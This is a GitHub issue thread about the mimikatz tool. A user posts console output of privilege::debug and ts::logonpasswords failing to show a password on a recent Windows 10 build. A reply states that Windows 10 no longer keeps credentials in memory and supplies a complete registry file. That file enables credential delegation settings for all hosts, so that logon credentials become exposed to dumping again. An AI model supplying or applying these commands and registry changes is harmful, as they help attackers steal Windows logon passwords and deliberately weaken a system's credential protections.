ts::logonpasswords no passwords in latest win10 build
thatssorude opened this issue · comments
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # ts::logonpasswords
!!! Warning: false positives can be listed !!!
Domain : DESKTOP-BSBG8R2
UserName : admin
Password/Pin:
mimikatz # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19045 (arch x64)
msvc 150030729 207
mimikatz #
Maybe offsets changes?Please have a look
The code is too complicated to me and i cant figure out only by myself
mimikatz # privilege::debug Privilege '20' OK mimikatz # ts::logonpasswords !!! Warning: false positives can be listed !!! Domain : DESKTOP-BSBG8R2 UserName : admin Password/Pin: mimikatz # version mimikatz 2.2.0 (arch x64) Windows NT 10.0 build 19045 (arch x64) msvc 150030729 207 mimikatz #
Maybe offsets changes?Please have a look The code is too complicated to me and i cant figure out only by myself
Windows 10 doesn't save the credentials in memory anymore. You can change the behaviour by modifying the registry, or by using the Local Group Policy Editor (for non-domain PCs), or the Active Directory Group Policy Editor (for domain PCs):
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation]
"AllowProtectedCreds"=dword:00000001
"AllowSavedCredentials"=dword:00000001
"ConcatenateDefaults_AllowSaved"=dword:00000000
"RestrictedRemoteAdministration"=dword:00000000
"DenySavedCredentials"=dword:00000000
"ConcatenateDefaults_DenySaved"=dword:00000000
"DenyFreshCredentials"=dword:00000000
"ConcatenateDefaults_DenyFresh"=dword:00000000
"DenyDefaultCredentials"=dword:00000000
"ConcatenateDefaults_DenyDefault"=dword:00000000
"AllowSavedCredentialsWhenNTLMOnly"=dword:00000000
"ConcatenateDefaults_AllowSavedNTLMOnly"=dword:00000000
"AllowFreshCredentialsWhenNTLMOnly"=dword:00000000
"ConcatenateDefaults_AllowFreshNTLMOnly"=dword:00000000
"AllowFreshCredentials"=dword:00000001
"ConcatenateDefaults_AllowFresh"=dword:00000000
"AllowDefaultCredentials"=dword:00000001
"ConcatenateDefaults_AllowDefault"=dword:00000000
"AllowDefCredentialsWhenNTLMOnly"=dword:00000000
"ConcatenateDefaults_AllowDefNTLMOnly"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials]
"1"="*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowFreshCredentials]
"1"="*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowSavedCredentials]
"1"="*"